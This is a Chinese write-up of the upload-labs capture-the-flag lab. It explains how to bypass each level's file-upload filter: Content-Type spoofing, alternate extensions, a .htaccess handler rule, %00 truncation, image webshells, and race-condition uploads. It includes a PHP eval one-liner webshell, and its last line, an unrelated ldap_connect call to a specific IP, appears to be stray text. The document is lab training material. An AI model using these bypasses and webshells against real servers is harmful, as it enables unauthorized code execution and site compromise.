upload-labs
Pass 1
利用burp抓包,点击send to repeaer
将1.png换成gg.php后发现成功绕过,上传
Pass 2(Content-type)
查看源码,发现只检查Content-type的类型
所以更改Content-type的类型为image/jpeg、image/png、image/gif即可绕过
发现gg.php上传成功
Pass 3(后缀名绕过)
查看源码发现,常规的格式都被过滤了
所以可以使用phtml,php3,php4, php5, pht后缀名都可以绕过
成功上传gg.php
Pass 4(.htaccess文件)
查看源码,发现基本所有格式都被过滤了
但是.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个.htaccess文件
关于.htaccess的资料可以参考https://www.cnblogs.com/engeng/articles/5948089.html
.htaccess的内容如下
<FilesMatch "ceshi">
SetHandler application/x-httpd-php
</FilesMatch>
这时先上传一个.htaccess文件
然后再上传ceshi.txt,内容为
<?php
phpinfo();
?>
得到一个地址,访问它
回显了phpinfo,说明上传成功
Pass 5(后缀大小写)
查看源码,发现.htaccess也被过滤了,但是少了这句话,所以我们可以将后缀大小写混合绕过
$file_ext = strtolower($file_ext); //转后缀换为小写
成功上传
Pass 6(空格绕过)
比第五关少了这句话,所以可以将后缀名后面加上个空格绕过
$file_ext = trim($file_ext); //将首尾去除空格
成功上传
当然,前面加个空格也是可以的
Pass 7(后缀加点绕过)
对比源码,比第六关少了一句话
$file_name = dedot($file_name);//删除文件名末尾的点
所以,在后缀后面加个点即可
成功上传
Pass 8(::$DATA绕过)
少了这句话
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
所以可以在后缀后面加一个::$DATA即可
成功上传
Pass 9
查看源码,发现全部都过滤了
但是都只过滤了一次,所以我们可以在后缀后面加上点空格点. .
Pass 10(乱序双写)
查看源码,这两句是关键,他会过滤连在一起的php,其他该过滤的都过滤了
所以使用乱序双写后缀,中间夹一个php即可
Pass 11*
查看源码,发现关键在这里,save_path后面跟上了一个后缀,需要绕过,原理我也不懂,反正说要使用%00截断,但是需要两个条件1.php版本小于5.3.4 2.php的magic_quotes_gpc为OFF状态
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
所以如果要绕过,令save_path等于../upload/gg.php%00
这样应该就可以了
Pass 12*
这里和11只有一个变化,就是get变成了post
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
绕过的方式一样,只不过这里需要在二进制里面修改%00,因为post不会像get对%00进行自动解码。
找到对应的地方改为00即可
成功上传
Pass 13(图片马)
利用图片马上传,就是将木马包含在一张图片里绕过上传
最简单制作图片马的方法就是在cmd中运行,shell.png即是图片马
copy 1.png/b+ 2.php/a shell.png
我在php中写的便是echo‘hello world’可以看到成功上传,这里我们得到了上传图片的位置
之后根据提示,利用文件包含漏洞
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
访问图片
http://39f12657-51c0-486d-893a-7f82c1c9f47e.node4.buuoj.cn:81/include.php?file=upload/5520211116122413.jpg
可以看到最后出现了hello world,说明上传成功了
Pass 14(图片马)
同13一样,还是可以图片马上传绕过,只是这里用了getimagesize函数来对文件类型做判断
Pass 15(图片马)
用了exif_imagetype函数用于确定图像的类型,还是可以用图片马绕过,方法同13,14
Pass 16(二次渲染)
二次渲染,会将上传的图片进行更改,然后原来写入图片的木马就会消失,所以我们先上传一个png的图片
用HxD打开上传前
上传之后系统会返回给我们一个二次渲染后的文件,打开,
发现我们的木马消失了
所以我们对比两张图片相同的地方,在里面插入shell就可以绕过了。
Pass 17,18(条件竞争上传)
使用burpsuite抓包上传1.php,一直重放上传文件
1.php内容:
<?php fputs(fopen('2.php','w'),<?php @eval($_POST["x"])?>‘);?>
访问了1.php文件,php文件就会成功执行,自动创建一个2.php,写入一句话木马:
<?php @eval($_POST["x"]);?>
用Burp不断上传,再用burp不断访问即可
Pass 20(递归/.)
观察源码,发现move_uploaded_file.
该函数会递归删除文件名最后的/.
所以上传文件名为1.php/.即可绕过
ldap_connect(“47.106.172.144:2333”)